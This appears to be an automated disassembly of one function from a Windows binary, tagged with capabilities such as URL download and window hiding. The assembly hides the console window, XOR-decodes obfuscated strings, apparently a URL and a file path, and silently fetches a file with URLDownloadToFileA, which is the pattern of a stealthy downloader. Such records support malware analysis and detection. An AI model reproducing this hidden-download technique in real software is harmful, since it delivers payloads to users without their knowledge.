Function at 0x437160
Capabilities:
Download url
Enumerate gui resources
Hide graphical window
Receive data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x2f8
mov eax, dword [0x444040]
xor eax, esp
mov dword [esp + 0x2f4], eax
push esi
push edi
call fcn.00436bc0
push dword [0x44f718]
push 0x4322f0
call dword [sym.imp.USER32.dll_EnumWindows]
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
call esi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call esi
mov dword [esp + 0x230], 0x3b1619a3
mov dword [esp + 0x234], 0xfe631176
mov dword [esp + 0x238], 0xc2118d0
mov dword [esp + 0x23c], 0xa716c713
mov dword [esp + 0x240], 0xc5f7315
mov dword [esp + 0x244], 0xe1b08bac
mov dword [esp + 0x248], 0xfd18d122
mov dword [esp + 0x24c], 0x1cc5e829
mov dword [esp + 0x250], 0xcfc29717
mov dword [esp + 0x254], 0xefd20a82
mov dword [esp + 0x258], 0x72f027e4
mov dword [esp + 0x25c], 0x9684dabf
mov dword [esp + 0x260], 0x7f1328a9
mov dword [esp + 0x264], 0xf3167b48
mov dword [esp + 0x268], 0x424b9186
mov dword [esp + 0x26c], 0x3c151bf5
mov dword [esp + 0x270], 0x9691e66b
mov dword [esp + 0x274], 0xc0eac15e
mov dword [esp + 0x278], 0xeaee4c18
mov dword [esp + 0x27c], 0xd1feb83b
mov dword [esp + 0x280], 0xc589fdbd
mov dword [esp + 0x284], 0x4dd14994
mov dword [esp + 0x288], 0xf82763aa
mov dword [esp + 0x28c], 0x8ed7b971
mov dword [esp + 0x290], 0x534828bf
mov dword [esp + 0x294], 0xb4ef97ca
mov dword [esp + 0x298], 0xd8d05ec
mov dword [esp + 0x29c], 0xb4f2ca87
mov dword [esp + 0x2a0], 0xd83bf31
mov dword [esp + 0x2a4], 0x86bbf110
mov dword [esp + 0x2a8], 0x20f2186e
mov dword [esp + 0x2ac], 0xe73af67d
mov dword [esp + 0x2b0], 0x9d29e5b3
mov dword [esp + 0x2b4], 0xa3e0a6a6
mov dword [esp + 0x2b8], 0x94b89d60
mov dword [esp + 0x2bc], 0x595da443
mov dword [esp + 0x2c0], 0x6116f1a5
mov dword [esp + 0x2c4], 0x95349d5c
mov dword [esp + 0x2c8], 0x1cd424b2
mov dword [esp + 0x2cc], 0x6e521cd9
mov dword [esp + 0x2d0], 0x519e0027
mov dword [esp + 0x2d4], 0x1bcc97b2
mov dword [esp + 0x2d8], 0x49f5de74
mov dword [esp + 0x2dc], 0xbc255d6f
mov dword [esp + 0x2e0], 0x806d5339
mov dword [esp + 0x2e4], 0x24ecebf8
mov dword [esp + 0x2e8], 0xe91fe816
mov dword [esp + 0x2ec], 0xf2af6b25
mov dword [esp + 0x50], 0x4b626dcb
mov dword [esp + 0x54], 0xd14c2b05
mov dword [esp + 0x58], 0x224f7cb3
mov dword [esp + 0x5c], 0xc465ae77
mov dword [esp + 0x60], 0x6d3b017a
mov dword [esp + 0x64], 0x829efbdc
mov dword [esp + 0x68], 0x9c37bc4d
mov dword [esp + 0x6c], 0x7fa49c5d
mov dword [esp + 0x70], 0xa1a7fa7f
mov dword [esp + 0x74], 0xdefd79f6
mov dword [esp + 0x78], 0x46c610d5
mov dword [esp + 0x7c], 0xa1b6e386
mov dword [esp + 0x80], 0x4d2a1b99
mov dword [esp + 0x84], 0xc3204f7f
mov dword [esp + 0x88], 0x7364a5b4
mov dword [esp + 0x8c], 0x82523c4
mov dword [esp + 0x90], 0xa6a2d45a
mov dword [esp + 0x94], 0xf0def76f
mov dword [esp + 0x98], 0xded67c2a
mov dword [esp + 0x9c], 0xa2d18d0a
mov dword [esp + 0xa0], 0xaca78ec4
movups xmm1, xmmword [esp + 0x50]
mov ecx, 0x30
mov dword [esp + 0xa4], 0x28ee20fa
lea esi, [esp + 0x50]
mov dword [esp + 0xa8], 0xcd115ed2
xorps xmm1, xmmword [esp + 0x230]
lea edi, [esp + 0x130]
mov dword [esp + 0xac], 0xbde2dd46
xorps xmm0, xmm0
mov dword [esp + 0xb0], 0x3a6e4e86
mov dword [esp + 0xb4], 0x81d9aab9
mov dword [esp + 0xb8], 0x68e964da
mov dword [esp + 0xbc], 0xdcd4acbe
mov dword [esp + 0xc0], 0x3ce0825c
mov dword [esp + 0xc4], 0xe4dac374
mov dword [esp + 0xc8], 0x10c77b0d
mov dword [esp + 0xcc], 0xdf0dce1c
mov dword [esp + 0xd0], 0xfe4adc80
mov dword [esp + 0xd4], 0x9ad9949f
mov dword [esp + 0xd8], 0xa28eae50
mov dword [esp + 0xdc], 0x6e389221
mov dword [esp + 0xe0], 0x562f93c6
mov dword [esp + 0xe4], 0xa403a86b
mov dword [esp + 0xe8], 0x7fe01786
mov dword [esp + 0xec], 0x5a6125ba
mov dword [esp + 0xf0], 0x33ad6611
mov dword [esp + 0xf4], 0x2afca082
mov dword [esp + 0xf8], 0x28ccbd10
mov dword [esp + 0xfc], 0x8913650d
mov dword [esp + 0x100], 0x804b665b
mov dword [esp + 0x104], 0x24ecebf8
mov dword [esp + 0x108], 0xe91fe816
mov dword [esp + 0x10c], 0xf2af6b25
rep movsd dword es:[edi], dword [esi]
movaps xmmword [esp + 0x130], xmm1
lea ecx, [esp + 0x130]
movaps xmm1, xmmword [esp + 0x140]
lea edx, [ecx + 1]
xorps xmm1, xmmword [esp + 0x240]
movaps xmmword [esp + 0x140], xmm1
movaps xmm1, xmmword [esp + 0x150]
xorps xmm1, xmmword [esp + 0x250]
movaps xmmword [esp + 0x150], xmm1
movaps xmm1, xmmword [esp + 0x160]
xorps xmm1, xmmword [esp + 0x260]
movaps xmmword [esp + 0x160], xmm1
movaps xmm1, xmmword [esp + 0x170]
xorps xmm1, xmmword [esp + 0x270]
movaps xmmword [esp + 0x170], xmm1
movaps xmm1, xmmword [esp + 0x180]
xorps xmm1, xmmword [esp + 0x280]
movaps xmmword [esp + 0x180], xmm1
movaps xmm1, xmmword [esp + 0x190]
xorps xmm1, xmmword [esp + 0x290]
movaps xmmword [esp + 0x190], xmm1
movaps xmm1, xmmword [esp + 0x1a0]
xorps xmm1, xmmword [esp + 0x2a0]
movaps xmmword [esp + 0x1a0], xmm1
movaps xmm1, xmmword [esp + 0x1b0]
xorps xmm1, xmmword [esp + 0x2b0]
movaps xmmword [esp + 0x1b0], xmm1
movaps xmm1, xmmword [esp + 0x1c0]
xorps xmm1, xmmword [esp + 0x2c0]
movaps xmmword [esp + 0x1c0], xmm1
movaps xmm1, xmmword [esp + 0x1d0]
xorps xmm1, xmmword [esp + 0x2d0]
movaps xmmword [esp + 0x1d0], xmm1
movaps xmm1, xmmword [esp + 0x1e0]
xorps xmm1, xmmword [esp + 0x2e0]
movaps xmmword [esp + 0x1e0], xmm1
movaps xmmword [esp + 0x210], xmm0
mov dword [esp + 0x220], 0
mov dword [esp + 0x224], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x437700
sub ecx, edx
lea eax, [esp + 0x130]
push ecx
push eax
lea ecx, [esp + 0x218]
call fcn.00438120
mov dword [esp + 0x10], 0x6c4a23e0
lea ecx, [esp + 0x110]
mov dword [esp + 0x14], 0x91077f1f
lea edx, [ecx + 1]
mov dword [esp + 0x18], 0x7f7d6ba7
xorps xmm0, xmm0
mov dword [esp + 0x1c], 0xce38b46a
movaps xmm1, xmmword [esp + 0x10]
mov dword [esp + 0x20], 0xc5f1a7b
mov dword [esp + 0x24], 0xe1b08bac
mov dword [esp + 0x28], 0xfd18d122
mov dword [esp + 0x2c], 0x1cc5e829
movaps xmm2, xmmword [esp + 0x20]
mov dword [esp + 0x30], 0x3b1619a3
mov dword [esp + 0x34], 0xfe631176
mov dword [esp + 0x38], 0xc2118d0
mov dword [esp + 0x3c], 0xa716c713
mov dword [esp + 0x40], 0xc5f7315
mov dword [esp + 0x44], 0xe1b08bac
mov dword [esp + 0x48], 0xfd18d122
mov dword [esp + 0x4c], 0x1cc5e829
xorps xmm2, xmmword [esp + 0x40]
movaps xmmword [esp + 0x110], xmm1
xorps xmm1, xmmword [esp + 0x30]
movaps xmmword [esp + 0x110], xmm1
movaps xmmword [esp + 0x120], xmm2
movaps xmmword [esp + 0x1f0], xmm0
mov dword [esp + 0x200], 0
mov dword [esp + 0x204], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4377f5
sub ecx, edx
lea eax, [esp + 0x110]
push ecx
push eax
lea ecx, [esp + 0x1f8]
call fcn.00438120
cmp dword [esp + 0x204], 0xf
lea ecx, [esp + 0x1f0]
push 0
cmova ecx, dword [esp + 0x1f4]
lea eax, [esp + 0x214]
cmp dword [esp + 0x228], 0xf
push 0
cmova eax, dword [esp + 0x218]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004365b0
call fcn.004361e0
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
call esi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call esi
push 0x432350
lea ecx, [esp + 0xc]
call fcn.00437ea0
mov esi, eax
cmp dword [esi + 4], 0
je 0x4379db
push dword [esi + 4]
mov edi, dword [sym.imp.MSVCP140.dll__Thrd_detach]
push dword [esi]
call edi
add esp, 8
test eax, eax
jne 0x4379db
mov dword [esi], eax
mov dword [esi + 4], eax
cmp dword [esp + 0xc], eax
je 0x4378ba
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
push 0x432160
lea ecx, [esp + 0xc]
call fcn.00437ea0
mov esi, eax
cmp dword [esi + 4], 0
je 0x4379db
push dword [esi + 4]
push dword [esi]
call edi
add esp, 8
test eax, eax
jne 0x4379db
mov dword [esi], eax
mov dword [esi + 4], eax
cmp dword [esp + 0xc], eax
je 0x4378f7
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea edx, [esp + 0x1f0]
mov dword [esp + 8], eax
lea ecx, [esp + 8]
call fcn.00436f30
push 0xc8
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Beep]
call fcn.00436920
mov ecx, dword [esp + 0x204]
cmp ecx, 0xf
jbe 0x437969
mov edx, dword [esp + 0x1f0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43795f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4379b5
push ecx
push edx
call fcn.00438a7d
add esp, 8
mov ecx, dword [esp + 0x224]
mov dword [esp + 0x200], 0
mov dword [esp + 0x204], 0xf
mov byte [esp + 0x1f0], 0
cmp ecx, 0xf
jbe 0x4379c5
mov edx, dword [esp + 0x210]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4379bb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4379bb
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00438a7d
add esp, 8
mov ecx, dword [esp + 0x2fc]
pop edi
pop esi
xor ecx, esp
call fcn.00438654
mov esp, ebp
pop ebp
ret 0x10
push 1
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3